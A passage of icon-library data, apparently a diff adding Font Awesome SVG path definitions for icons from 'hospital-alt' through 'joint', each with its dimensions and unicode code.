12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z"], + "hospital-alt": [576, 512, [], "f47d", "M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"], + "hospital-symbol": [512, 512, [], "f47e", "M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z"], + "hospital-user": [640, 512, [], "f80d", "M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z"], + "hot-tub": [512, 512, [], "f593", "M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z"], + "hotdog": [512, 512, [], "f80f", "M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z"], + "hotel": [576, 512, [], "f594", "M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"], + "hourglass": [384, 512, [], "f254", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z"], + "hourglass-end": [384, 512, [], "f253", "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z"], + "hourglass-half": [384, 512, [], "f252", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z"], + "hourglass-start": [384, 512, [], "f251", "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z"], + "house-damage": [576, 512, [], "f6f1", "M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z"], + "house-user": [576, 512, [], "e065", "M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z"], + "hryvnia": [384, 512, [], "f6f2", "M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z"], + "i-cursor": [256, 512, [], "f246", "M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z"], + "ice-cream": [448, 512, [], "f810", "M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z"], + "icicles": [512, 512, [], "f7ad", "M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z"], + "icons": [512, 512, [], "f86d", "M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z"], + "id-badge": [384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"], + "id-card": [576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z"], + "id-card-alt": [576, 512, [], "f47f", "M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z"], + "igloo": [576, 512, [], "f7ae", "M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z"], + "image": [512, 512, [], "f03e", "M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z"], + "images": [576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z"], + "inbox": [576, 512, [], "f01c", "M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z"], + "indent": [448, 512, [], "f03c", "M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "industry": [512, 512, [], "f275", "M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z"], + "infinity": [640, 512, [], "f534", "M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z"], + "info": [192, 512, [], "f129", "M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z"], + "info-circle": [512, 512, [], "f05a", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z"], + "italic": [320, 512, [], "f033", "M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z"], + "jedi": [576, 512, [], "f669", "M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z"], + "joint": [640, 512, [], "f595", "M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z"], + "journal-whills": [448, 512, [], "f66a", 